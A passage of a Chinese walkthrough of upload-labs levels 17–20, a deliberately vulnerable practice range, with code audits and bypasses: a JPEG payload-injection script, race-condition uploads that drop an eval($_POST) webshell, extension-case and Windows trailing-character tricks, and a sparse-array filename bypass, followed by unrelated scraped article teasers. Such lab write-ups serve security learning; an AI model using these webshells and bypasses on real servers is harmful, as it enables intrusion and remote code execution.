$outStreamTmp, TRUE);if($extraBytes !== 0) {while((!$dis->eof())) {if($dis->readByte() === 0xFF) {if($dis->readByte !== 0x00) {break;}}}$stopPos = $dis->seek() - 2;$imageStreamSize = $stopPos - $startPos;$outStream = substr($outStream, 0, $startPos) . $miniPayload . substr(str_repeat("\0",$nullbytePayloadSize).substr($outStream, $startPos, $imageStreamSize),0,$nullbytePayloadSize+$imageStreamSize-$extraBytes) . substr($outStream, $stopPos);} elseif($correctImage) {$outStream = $outStreamTmp;} else {break;}if(checkImage('payload_'.$argv[1], $outStream)) {die('Success!');} else {break;}}}}unlink('payload_'.$argv[1]);die('Something\'s wrong');​function checkImage($filename, $data, $unlink = FALSE) {global $correctImage;file_put_contents($filename, $data);$correctImage = TRUE;imagecreatefromjpeg($filename);if($unlink)unlink($filename);return $correctImage;}​function custom_error_handler($errno, $errstr, $errfile, $errline) {global $extraBytes, $correctImage;$correctImage = FALSE;if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {if(isset($m[1])) {$extraBytes = (int)$m[1];}}}​class DataInputStream {private $binData;private $order;private $size;​public function __construct($filename, $order = false, $fromString = false) {$this->binData = '';$this->order = $order;if(!$fromString) {if(!file_exists($filename) || !is_file($filename))die('File not exists ['.$filename.']');$this->binData = file_get_contents($filename);} else {$this->binData = $filename;}$this->size = strlen($this->binData);}​public function seek() {return ($this->size - strlen($this->binData));}​public function skip($skip) {$this->binData = substr($this->binData, $skip);}​public function readByte() {if($this->eof()) {die('End Of File');}$byte = substr($this->binData, 0, 1);$this->binData = substr($this->binData, 1);return ord($byte);}​public function readShort() {if(strlen($this->binData) < 2) {die('End Of File');}$short = substr($this->binData, 0, 2);$this->binData = substr($this->binData, 2);if($this->order) {$short = (ord($short[1]) << 8) + ord($short[0]);} else {$short = (ord($short[0]) << 8) + ord($short[1]);}return $short;}​public function eof() {return !$this->binData||(strlen($this->binData) === 0);}}?>

但是这个脚本运行之前要先准备一张1.jpg图片,然后运行脚本

然后就跟png的处理方式一样了

pass-17

代码审计

这一关是一个逻辑漏洞,由此就会产生竞争型漏洞,来看下面的代码

$is_upload = false;$msg = null;​if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_name = $_FILES['upload_file']['name'];$temp_file = $_FILES['upload_file']['tmp_name'];$file_ext = substr($file_name,strrpos($file_name,".")+1);$upload_file = UPLOAD_PATH . '/' . $file_name;​if(move_uploaded_file($temp_file, $upload_file)){if(in_array($file_ext,$ext_arr)){$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;rename($upload_file, $img_path);$is_upload = true;}else{$msg = "只允许上传.jpg|.png|.gif类型文件!";unlink($upload_file);}}else{$msg = '上传出错!';}}

看第二个if判断里面,漏洞就在这里,它先判断文件是否在白名单里,如果不在就不允许上传并删除,反之允许上传。

在它判断出不允许上传到删除这个时间间隙里,我们可以竞争。

即,在它判断并且还没有改名的极短时间内,我们可以访问到这个文件,如果这个文件的php代码是在当前目录的上一级目录生成我们的实际payload,那么即使它判断完毕,把我们先上传的文件删除也没关系,因为我们已经生成一个实际的payload在上一级目录了,而这个目录它是删不了的,这样我们就成功上传webshell了。

文件上传

1. 准备php文件
 <?php fputs(fopen('../webshell.php','w'),'<?php eval($_POST[cmd]);)?>');
2. 上传

人跟程序竞争基本搞不了,所以使用Burp抓包。

再靶场上传之后,使用Burp抓包,然后发给Intruder模块,然后不停的发包,然后再浏览器不停的访问,具体操作如下

  1. 抓包改包

  1. 验证

pass-18

代码审计

//index.php$is_upload = false;$msg = null;if (isset($_POST['submit'])){require_once("./myupload.php");$imgFileName =time();$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);$status_code = $u->upload(UPLOAD_PATH);switch ($status_code) {case 1:$is_upload = true;$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;break;case 2:$msg = '文件已经被上传,但没有重命名。';break; case -1:$msg = '这个文件不能上传到服务器的临时文件存储目录。';break; case -2:$msg = '上传失败,上传目录不可写。';break; case -3:$msg = '上传失败,无法上传该类型文件。';break; case -4:$msg = '上传失败,上传的文件过大。';break; case -5:$msg = '上传失败,服务器已经存在相同名称文件。';break; case -6:$msg = '文件无法上传,文件不能复制到目标目录。';break;      default:$msg = '未知错误!';break;}}​//myupload.phpclass MyUpload{.................. var $cls_arr_ext_accepted = array(".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",".html", ".xml", ".tiff", ".jpeg", ".png" );​..................  /** upload()**** Method to upload the file.** This is the only method to call outside the class.** @para String name of directory we upload to** @returns void**/function upload( $dir ){$ret = $this->isUploadedFile();if( $ret != 1 ){return $this->resultUpload( $ret );}​$ret = $this->setDir( $dir );if( $ret != 1 ){return $this->resultUpload( $ret );}​$ret = $this->checkExtension();if( $ret != 1 ){return $this->resultUpload( $ret );}​$ret = $this->checkSize();if( $ret != 1 ){return $this->resultUpload( $ret );    }// if flag to check if the file exists is set to 1if( $this->cls_file_exists == 1 ){$ret = $this->checkFileExists();if( $ret != 1 ){return $this->resultUpload( $ret );    }}​// if we are here, we are ready to move the file to destination​$ret = $this->move();if( $ret != 1 ){return $this->resultUpload( $ret );    }​// check if we need to rename the file​if( $this->cls_rename_file == 1 ){$ret = $this->renameFile();if( $ret != 1 ){return $this->resultUpload( $ret );    }}// if we are here, everything worked as planned :)​return $this->resultUpload( "SUCCESS" );}.................. };

这个代码看起来很多,但是对我们来说,重点在这里

$ret = $this->move();if( $ret != 1 ){return $this->resultUpload( $ret );    }​// check if we need to rename the file​if( $this->cls_rename_file == 1 ){$ret = $this->renameFile();if( $ret != 1 ){return $this->resultUpload( $ret );    }}

这里就表明了,它的处理逻辑还是先上传,再重命名,这样又会出现一个时间间隙,我们又可以竞争。

只不过有了一个白名单的限制,我们不能上传.php文件了不过可以上传图片码,但是图片码也不能解析,还需要一个文件包含。

文件上传

1. 准备图片码
<?php fputs(fopen('../webshell.php','w'),'<?php eval($_POST["cmd"]);');或<?php file_put_contents('../wehshell.php','<?php phpinfo();');文件保存为:democompete.php然后使用copy命令,构造图片码并重命名为1.jpg。然后上传。

然后在浏览器访问以下路径

http://10.128.133.182/upload-labs-env/WWW/include.php?file=upload/1.jpg
2. Burp抓包

因为时间间隙太短,最好使用Burp,一边不断发包,一边配合python脚本,不断访问指定URL。这样成功率更高。

抓包,然后用Intruder模块持续发包

运行python脚本,持续访问文件

3. 在文件夹里查看

pass-19

代码审计

$is_upload = false;$msg = null;if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");​$file_name = $_POST['save_name'];$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);​if(!in_array($file_ext,$deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' .$file_name;if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true;}else{$msg = '上传出错!';}}else{$msg = '禁止保存为该类型文件!';}​} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}}

这里又是一个黑名单拦截,但是我们观察它的黑名单,并没有大写限制,所以一种方法是把php的后写成大小写混合的样式,比如.pHP

还有一种是利用phpwindows文件系统的特性来做文章,windows就是会把.、空格还有::$DATA自动去掉,而php是因为move_upload_file()函数,

这个函数会自动去掉文件末尾的/.。所以,在上传的时候,我们使用Burp抓包,然后修改一下文件后缀,那就可以成功。

文件上传

1. 大小写

准备这样一个php文件

然后就上传,之后查看一下就可以验证了

上传

下面这张是上传之后的样子,有那个破碎的图片样式,就表示成功了

然后在文件夹查看一下

2. 添加后缀

直接上传一个php文件,

然后使用Burp抓包,把后缀改一下再放包,然后文件夹验证一下

先加一个.

再加一个/

可以看到都成功了

pass-20

代码审计

$is_upload = false;$msg = null;if(!empty($_FILES['upload_file'])){//检查MIME$allow_type = array('image/jpeg','image/png','image/gif');if(!in_array($_FILES['upload_file']['type'],$allow_type)){$msg = "禁止上传该类型文件!";}else{//检查文件名$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];if (!is_array($file)) {$file = explode('.', strtolower($file));}​$ext = end($file);$allow_suffix = array('jpg','png','gif');if (!in_array($ext, $allow_suffix)) {$msg = "禁止上传该后缀文件!";}else{$file_name = reset($file) . '.' . $file[count($file) - 1];$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' .$file_name;if (move_uploaded_file($temp_file, $img_path)) {$msg = "文件上传成功!";$is_upload = true;} else {$msg = "文件上传失败!";}}}}else{$msg = "请选择要上传的文件!";}

这一关有一点绕,但是呢也还是比较简单。

它的逻辑是这样的:

首先是一个前端检测,

 $allow_type = array('image/jpeg','image/png','image/gif');if(!in_array($_FILES['upload_file']['type'],$allow_type)){$msg = "禁止上传该类型文件!";}

检测通过了就判断我们传入的是不是一个数组,如果不是,那就把文件名以.分割,进行数组化,

 if (!is_array($file)) {$file = explode('.', strtolower($file));}

然后取数组的最后一个元素,也就是我们文件的后缀名,进行一个白名单过滤,

 $ext = end($file);$allow_suffix = array('jpg','png','gif');if (!in_array($ext, $allow_suffix)) {$msg = "禁止上传该后缀文件!";

检测通过了,再把文件重命名回来,

 $file_name = reset($file) . '.' . $file[count($file) - 1];

问题就出在这里,这个count函数,它在计算的时候如果遇到的数组是稀疏的(某些索引未定义),count() 只会计算已定义的索引,也就是实际有值的索引。

正常来说,我们传入的文件是abc.jpg,经过数组化之后,0下标是abc1下标是jpg,它计算出2,然后进行一个count($file) - 1

那么就会有$file[1],也就是jpg,然后用reset函数取数组第一个元素,也就是abc,这样就正好再次组成文件名abc.jpg。然而,如果在传入文件的时候,我们通过Burp抓包,构建一个稀疏数组,

比如这样的

 ["web.php",,"jpg"]

那么在计算的时候,得到的结果还是2,然后又减去1,这样就有$file[1],而这里的1下标为空(是什么都没有。而不是null),这样重命名,那么最后文件的名称就是web.php.

而这个.又可以利用windows系统的文件特性去掉,这样,我们最终就可以得到web.php文件,也就能成功实现上传webshell的目的。

文件上传

1. 上传

2. 抓包改包

这里1的位置要改为图示的内容,因为这里是一个前端绕过,不改的话不行,具体见pass-02

2的位置改为图示的数字,下标为0

3、4部分是按照结构复制2部分得到的,其中3的下标一定不要是1,不然就没有意义了,

4的位置呢就根据白名单写,写一个就好了

然后Send就可以了

3. 验证

这里可以看到info.php已经成功上传了

相关文章:

uploadlabs通关思路

目录 靶场准备 复现 pass-01 代码审计 执行逻辑 文件上传 方法一&#xff1a;直接修改或删除js脚本 方法二&#xff1a;修改文件后缀 pass-02 代码审计 文件上传 1. 思路 2. 实操 pass-03 代码审计 过程&#xff1a; 文件上传 pass-04 代码审计 文件上传 p…...

doris:Elasticsearch

Elasticsearch Catalog 除了支持自动映射 ES 元数据外&#xff0c;也可以利用 Doris 的分布式查询规划能力和 ES(Elasticsearch) 的全文检索能力相结合&#xff0c;提供更完善的 OLAP 分析场景解决方案&#xff1a; ES 中的多 index 分布式 Join 查询。 Doris 和 ES 中的表联合…...

JetBrains学生申请

目录 JetBrains学生免费授权申请 IDEA安装与使用 第一个JAVA代码 1.利用txt文件和cmd命令运行 2.使用IDEA新建项目 JetBrains学生免费授权申请 本教程采用学生校园邮箱申请&#xff0c;所以要先去自己的学校申请校园邮箱。 进入JetBrains官网 点击立即申请&#xff0c;然…...

PDFMathTranslate安装使用

PDF全文翻译&#xff01;&#xff01;&#xff01;&#xff01; PDFMathTranslate安装使用 它是个啥 PDFMathTranslate 可能是一个用于 PDF 文件的数学公式翻译 工具。它可能包含以下功能&#xff1a; 提取 PDF 内的数学公式 将数学公式转换成 LaTeX 代码 翻译数学公式的内…...

清华北大推出的 DeepSeek 教程(附 PDF 下载链接)

清华和北大分别都有关于DeepSeek的分享文档&#xff0c;内容非常全面&#xff0c;从原理和具体的应用&#xff0c;大家可以认真看看。 北大 DeepSeek 系列 1&#xff1a;提示词工程和落地场景.pdf  北大 DeepSeek 系列 2&#xff1a;DeepSeek 与 AIGC 应用.pdf  清华 Deep…...

2025-03-09 学习记录--C/C++-PTA 练习11-4 字符定位(最后一次找到的字符)

合抱之木&#xff0c;生于毫末&#xff1b;九层之台&#xff0c;起于累土&#xff1b;千里之行&#xff0c;始于足下。&#x1f4aa;&#x1f3fb; 一、题目描述 ⭐️ 裁判测试程序样例&#xff1a; #include <stdio.h> char *match(char *s, char ch); int main(void …...

C语言数据结构之顺序表

目录 1.线性表 2.顺序表 2.1.静态顺序表 2.2.动态顺序表 2.2.1.初始化 2.2.2.清空顺序表 2.2.3.扩容&#xff0b;尾插 2.2.4.尾出函数 2.2.5.头插函数 2.2.6.头出函数 2.2.7.在中间位置插入 2.2.8.删除中间位置数据 2.2.9.查找函数 2.2.10.总结 3.OJ例题 3.1.合…...

【Git】合并冲突

合并冲突 可是&#xff0c;在实际分支合并的时候&#xff0c;并不是想合并就能合并成功的&#xff0c;有时候可能会遇到代码冲突的问题。 为了演示这问题&#xff0c;创建一个新的分支 dev1 &#xff0c;并切换至目标分支&#xff0c;我们可以使用 git checkout -b dev1 一步…...

【每日学点HarmonyOS Next知识】Web跨域资源、Web长按菜单、Web拦截请求、禁止录屏、Base64图片宽高

1、HarmonyOS Web组件本地资源跨域问题&#xff1f; 关于资源跨域问题的解决&#xff0c;可以参考以下官网文档&#xff1a;https://developer.huawei.com/consumer/cn/doc/harmonyos-guides-V5/web-cross-origin-V5 方法一 为了使Web组件能够成功访问跨域资源&#xff0c;开…...

高效数据分析实战指南:Python零基础入门

高效数据分析实战指南 —— 以Python为基石&#xff0c;构建您的数据分析核心竞争力 大家好&#xff0c;我是kakaZhui&#xff0c;从事数据、人工智能算法多年&#xff0c;精通Python数据分析、挖掘以及各种深度学习算法。一直以来&#xff0c;我都发现身边有很多在传统行业从…...

【语料数据爬虫】Python爬虫|批量采集征集意见稿数据(1)

前言 本文是该专栏的第5篇,后面会持续分享Python爬虫采集各种语料数据的的干货知识,值得关注。 在本文中,笔者将主要来介绍基于Python,来实现批量采集“征集意见稿”数据。同时,本文也是采集“征集意见稿”数据系列的第1篇。 采集相关数据的具体细节部分以及详细思路逻辑…...

电力场景绝缘子缺陷分割数据集labelme格式1585张4类别

数据集格式&#xff1a;labelme格式(不包含mask文件&#xff0c;仅仅包含jpg图片和对应的json文件) 图片数量(jpg文件个数)&#xff1a;1585 标注数量(json文件个数)&#xff1a;1585 标注类别数&#xff1a;4 标注类别名称:["broken part","broken insulat…...

《C++ 构造、拷贝构造与析构函数:对象的诞生、克隆与消逝之旅》

类的6个默认成员函数 构造函数 是对一个对象实例化时的初始化 例如在C语言中写的堆的时候要初始化StackInit&#xff0c;而c祖师爷写的构造函数本质上就是自动调用初始化。 构造函数默认构造函数自己写的&#xff08;符合规定的显示表达式&#xff09; 注&#xff1a;一般情况下…...

uniapp uniCloud引发的血案(switchTab: Missing required args: “url“)!!!!!!!!!!

此文章懒得排版了&#xff0c;为了找出这个bug, 星期六的晚上我从9点查到0点多&#xff0c;此时我心中一万个草泥马在崩腾&#xff0c;超级想骂人&#xff01;&#xff01;&#xff01;&#xff01;&#xff01;&#xff01;&#xff01;&#xff01;&#xff01; uniCloud 不想…...

【论文阅读】VAD: Vectorized Scene Representation for Efficient Autonomous Driving

一、介绍 VAD是华科团队设计的一个端到端无人驾驶框架&#xff0c;针对传统的无人驾驶框架的模块化设计的问题&#xff0c;该算法使用向量化的策略进行了端到端的实现。传统的模块化设计使得感知模块完全依赖于感知模块的计算结果&#xff0c;这一解耦实际上从规划模块的角度损…...

uniapp版本加密货币行情应用

uniapp版本加密货币行情应用 项目概述 这是一个使用uniapp开发的鸿蒙原生应用&#xff0c;提供加密货币的实时行情查询功能。本应用旨在为用户提供便捷、实时的加密货币市场信息&#xff0c;帮助用户随时了解市场动态&#xff0c;做出明智的投资决策。 应用采用轻量级设计&a…...

使用 Java 执行 SQL 语句和存储过程

使用 Java 执行 SQL 语句和存储过程&#xff0c;通常有两种主要的方式&#xff1a;使用 JDBC&#xff08;Java Database Connectivity&#xff09;或者通过框架如 Spring Data JPA、MyBatis 等。 1. 使用 JDBC 执行 SQL 语句 JDBC 是 Java 操作数据库的标准 API。以下是通过 …...

算法系列之深度优先搜索寻找妖怪和尚过河问题的所有方式

在算法学习中&#xff0c;深度优先搜索&#xff08;DFS&#xff09;是一种常用的图搜索算法&#xff0c;通过递归或栈实现&#xff0c;适合路径搜索、连通性、拓扑排序、回溯、生成、环路检测、强连通分量和可达性等问题。本文将介绍如何利用深度优先搜索解决“妖怪和尚过河问题…...

大白话JavaScript闭包实现原理与在实际开发中的应用场景

大白话JavaScript闭包实现原理与在实际开发中的应用场景 答题思路 解释闭包的概念&#xff1a;先简单直白地说明闭包是什么&#xff0c;让读者对闭包有一个初步的认识。阐述闭包的实现原理&#xff1a;详细讲解闭包是如何形成的&#xff0c;涉及到函数作用域、变量的生命周期…...

【redis】数据类型之geo

Redis的GEO数据类型用于存储地理位置信息&#xff08;如经纬度&#xff09;&#xff0c;并提供高效的地理位置查询功能&#xff08;如计算两地距离、搜索附近地点等&#xff09;。其底层基于Sorted Set&#xff08;有序集合&#xff09;实现&#xff0c;通过Geohash编码将经纬度…...

C++后端服务器开发技术栈有哪些?有哪些资源或开源库拿来用?

一、 C后台服务器开发是一个涉及多方面技术选择的复杂领域&#xff0c;特别是在高性能、高并发的场景下。以下是C后台服务器开发的一种常见技术路线&#xff0c;涵盖了从基础到高级的技术栈。 1. 基础技术栈 C标准库 C11/C14/C17/C20&#xff1a;使用现代C特性&#xff0c;如…...

第五次CCF-CSP认证(含C++源码)

第五次CCF-CSP认证 第一道&#xff08;easy&#xff09;思路及AC代码 第二道&#xff08;easy&#xff09;思路及AC代码solution 1solution 2 第三道&#xff08;mid&#xff09;思路及AC代码&#xff08;mid&#xff09; 第一道&#xff08;easy&#xff09; 题目链接 思路及…...

tcp udp区别

TCP&#xff08;传输控制协议&#xff09; 和 UDP&#xff08;用户数据报协议&#xff09; 是两种常用的传输层协议&#xff0c;它们在数据传输方式、可靠性和应用场景等方面有显著区别。以下是它们的主要区别&#xff1a; 1. 连接方式 TCP&#xff1a;面向连接的协议。通信前需…...

驱动 AI 边缘计算新时代!高性能 i.MX 95 应用平台引领未来

智慧浪潮崛起&#xff1a;AI与边缘计算的时代 正悄然深植于我们的日常生活之中&#xff0c;无论是火热的 ChatGPT 与 DeepSeek 语言模型&#xff0c;亦或是 Meta 智能眼镜&#xff0c;AI 技术已经无形地影响着我们的生活。这股变革浪潮并未停歇&#xff0c;而是进一步催生了更高…...

【Keil5教程及技巧】耗时一周精心整理万字全网最全Keil5(MDK-ARM)功能详细介绍【建议收藏-细细品尝】

&#x1f48c; 所属专栏&#xff1a;【单片机开发软件技巧】 &#x1f600; 作  者&#xff1a; 于晓超 &#x1f680; 个人简介&#xff1a;嵌入式工程师&#xff0c;专注嵌入式领域基础和实战分享 &#xff0c;欢迎咨询&#xff01; &#x1f496; 欢迎大家&#xff1…...

Linux 进程管理工具 Supervisor

介绍 Supervisor 是一个用 Python 编写的进程管理工具&#xff0c;旨在帮助你监控和控制多个进程。它特别适用于需要确保某些服务在服务器启动时自动运行&#xff0c;并且在崩溃时自动重启的场景。 写在前面&#xff1a; 因为现在很多第三方的包的最新版本都是基于 python3了…...

问题解决:AttributeError: ‘NoneType‘ object has no attribute ‘text‘

项目环境&#xff1a; 我的环境&#xff1a;Window10&#xff0c;Python3.12&#xff0c;Anaconda3&#xff0c;Pycharm2024.3.4 问题描述&#xff1a; 找不到’text’这个对象 部分代码&#xff1a; Traceback (most recent call last):File "D:\IT DateFiles\PyDate\FQ…...

Hadoop、Hive、Spark的关系

Part1&#xff1a;Hadoop、Hive、Spark关系概览 1、MapReduce on Hadoop 和spark都是数据计算框架&#xff0c;一般认为spark的速度比MR快2-3倍。 2、mapreduce是数据计算的过程&#xff0c;map将一个任务分成多个小任务&#xff0c;reduce的部分将结果汇总之后返回。 3、HIv…...

OneM2M:全球性的物联网标准-可应用于物联网中

OneM2M 是一个全球性的物联网(IoT)标准,旨在为物联网设备和服务提供统一的框架和接口,以实现设备之间的互操作性、数据共享和服务集成。OneM2M 由多个国际标准化组织(如 ETSI、TIA、TTC、ARIB 等)共同制定,目标是解决物联网领域的碎片化问题,提供一个通用的标准,支持跨…...

C++类和对象入门(三)

目录 前言 一、初始化列表 1.1定义 1.2 格式和语法 1.3与在函数内初始化的区别 1.4使用初始化列表的必要性 1.5成员变量默认值的使用&#xff08;C11&#xff09; 1.6初始化的先后顺序 1.7初始化列表的总结 二、类型转换 2.1内置类型转化成类类型 2.2类类型之间的相…...

Ubuntu 下 Docker 企业级运维指南:核心命令与最佳实践深度解析20250309

Ubuntu 下 Docker 企业级运维指南&#xff1a;核心命令与最佳实践深度解析 在当今的数字化时代&#xff0c;Docker 已成为企业应用部署和运维的基石。其轻量级、高效且灵活的容器化技术&#xff0c;为企业带来了前所未有的敏捷性和可扩展性。然而&#xff0c;随着容器化应用的…...

Tensorflow 2.0 GPU的使用与限制使用率及虚拟多GPU

Tensorflow 2.0 GPU的使用与限制使用率及虚拟多GPU 1. 获得当前主机上特定运算设备的列表2. 设置当前程序可见的设备范围3. 显存的使用4. 单GPU模拟多GPU环境 先插入一行简单代码&#xff0c;以下复制即可用来设置GPU使用率&#xff1a; import tensorflow as tf import numpy…...

【PyCharm】Python和PyCharm的相互关系和使用联动介绍

李升伟 整理 Python 是一种广泛使用的编程语言&#xff0c;而 PyCharm 是 JetBrains 开发的专门用于 Python 开发的集成开发环境&#xff08;IDE&#xff09;。以下是它们的相互关系和使用联动的介绍&#xff1a; 1. Python 和 PyCharm 的关系 Python&#xff1a;一种解释型、…...

动态规划:多重背包

本题力扣上没有原题&#xff0c;大家可以去卡码网第56题 (opens new window)去练习&#xff0c;题意是一样的。 56. 携带矿石资源&#xff08;第八期模拟笔试&#xff09; 题目描述 你是一名宇航员&#xff0c;即将前往一个遥远的行星。在这个行星上&#xff0c;有许多不同类…...

AI编程: 一个案例对比CPU和GPU在深度学习方面的性能差异

背景 字节跳动正式发布中国首个AI原生集成开发环境工具&#xff08;AI IDE&#xff09;——AI编程工具Trae国内版。 该工具模型搭载doubao-1.5-pro&#xff0c;支持切换满血版DeepSeek R1&V3&#xff0c; 可以帮助各阶段开发者与AI流畅协作&#xff0c;更快、更高质量地完…...

TensorFlow 的基本概念和使用场景

TensorFlow 是一个由 Google 开发的开源深度学习框架&#xff0c;用于构建和训练机器学习模型。它的基本概念包括以下几点&#xff1a; 张量&#xff08;Tensor&#xff09;&#xff1a;在 TensorFlow 中&#xff0c;数据以张量的形式表示&#xff0c;张量可以是多维数组&#…...

gRPC学习笔记

微服务 一旦某个服务器宕机&#xff0c;会引起整个应用不可用&#xff0c;隔离性差 只能整体应用进行伸缩&#xff0c;浪费资源&#xff0c;可伸缩性差 代码耦合在一起&#xff0c;可维护性差 微服务架构&#xff1a;解决了单体架构的弊端 可以按照服务进行单独扩容 各个…...

Linux常见指令

Linux常见指令 1、ls指令2、pwd命令3、cd指令4、touch指令5、mkdir指令6、rmdir指令和rm指令7、man指令8、cp指令9、mv指令10、cat指令11、重定向12、more指令13、less指令14、head指令15、tail指令16、管道17、时间相关指令18、cal指令19、find指令20、grep指令21、zip/unzip指…...

Vue3、vue学习笔记

<!-- Vue3 --> 1、Vue项目搭建 npm init vuelatest cd 文件目录 npm i npm run dev // npm run _ 这个在package.json中查看scripts /* vue_study\.vscode可删 // vue_study\src\components也可删除(基本语法&#xff0c;不使用组件) */ // vue_study\.vscode\lau…...

用OpenCV写个视频播放器可还行?(C++版)

引言 提到OpenCV&#xff0c;大家首先想到的可能是图像处理、目标检测&#xff0c;但你是否想过——用OpenCV实现一个带进度条、倍速播放、暂停功能的视频播放器&#xff1f;本文将通过一个实战项目&#xff0c;带你深入掌握OpenCV的视频处理能力&#xff0c;并解锁以下功能&a…...

clion+arm-cm3+MSYS-mingw +jlink配置用于嵌入式开发

0.前言 正文可以跳过这段 初识clion&#xff0c;应该是2015年首次发布的时候&#xff0c; 那会还是大三&#xff0c;被一则推介广告吸引到&#xff0c;当时还在用vs studio&#xff0c;但是就喜欢鼓捣新工具&#xff0c;然后下载安装试用了clion&#xff0c;但是当时对cmake规…...

物联网-IoTivity:开源的物联网框架

IoTivity 是一个开源的物联网(IoT)框架,旨在为物联网设备提供互操作性、安全性和可扩展性。它由 Open Connectivity Foundation (OCF) 主导开发,遵循 OCF 的标准,致力于实现设备之间的无缝连接和通信。IoTivity 提供了一个统一的框架,支持设备发现、数据交换、设备管理和…...

Acrobat DC v25.001 最新专业版已破,像word一样编辑PDF!

在数字化时代&#xff0c;PDF文件以其稳定性和通用性成为了文档交流和存储的热门选择。无论是阅读、编辑、转换还是转曲&#xff0c;大家对PDF文件的操作需求日益增加。因此&#xff0c;一款出色的PDF处理软件不仅要满足多样化的需求&#xff0c;还要通过简洁的界面和强大的功能…...

【c++】模板进阶

在前面我们学习了模板的基础用法【c】 模板初阶-CSDN博客初步认识了函数模板和类模板&#xff0c;接下来让我们看看模板还有哪些进阶的应用。 非类型模板参数 之前我们用到的模板全都使用了类型参数 类型参数&#xff1a;表示某种数据类型&#xff08;如 int、double、自定义…...

IntelliJ IDEA 2021版创建springboot项目的五种方式

第一种方式&#xff0c;通过https://start.spring.io作为spring Initializr的url来创建项目。 第二种方式&#xff0c;通过https://start.spring.io官网来直接创建springboot项目压缩包&#xff0c;然后导入至我们的idea中。 点击generate后&#xff0c;即可生成压缩包&#xf…...

数字信号处理之信号功率谱计算welch方法(分段加窗平均周期图)、Bartlett方法(周期图)(Python)

welch方法原理说明 welch方法[1]通过将数据划分为重叠的段&#xff0c;计算每个段的进行修改(加窗)后的周期图&#xff0c;然后对所有段的周期图求和进行平均&#xff0c;得到最终的功率谱密度。 Python和Matlab中均存在welch函数。welch函数通过配置noverlap为0&#xff0c;可…...

【面试】Java 基础

基础 1、Java 中几种基本数据类型什么&#xff0c;各自占用多少字节2、基本数据同包装类的区别3、Java 基本类型的参数传递和引用类型的参数传递有啥区别4、隐式类型转换和显式类型转换5、switch 语句表达式结果的类型6、数组的扩容方式7、面向对象三大特征8、静态变量和成员变…...

【工具使用】IDEA 社区版如何创建 Spring Boot 项目(详细教程)

IDEA 社区版如何创建 Spring Boot 项目&#xff08;详细教程&#xff09; Spring Boot 以其简洁、高效的特性&#xff0c;成为 Java 开发的主流框架之一。虽然 IntelliJ IDEA 专业版提供了Spring Boot 项目向导&#xff0c;但 社区版&#xff08;Community Edition&#xff09…...

CTFHub-FastCGI协议/Redis协议

将木马进行base64编码 <?php eval($_GET[cmd]);?> 打开kali虚拟机&#xff0c;使用虚拟机中Gopherus-master工具 Gopherus-master工具安装 git clone https://github.com/tarunkant/Gopherus.git 进入工具目录 cd Gopherus 使用工具 python2 "位置" --expl…...

【Python字符串】\n是什么?它与raw字符串、多行字符串的运用有什么关系?

李升伟 整理 在Python中&#xff0c;\n 是换行符&#xff0c;用于在字符串中表示新的一行。当你在字符串中使用 \n 时&#xff0c;Python 会在该位置插入一个换行符&#xff0c;使得输出在 \n 处换行。 1. 普通字符串中的 \n 在普通字符串中&#xff0c;\n 会被解释为换行符…...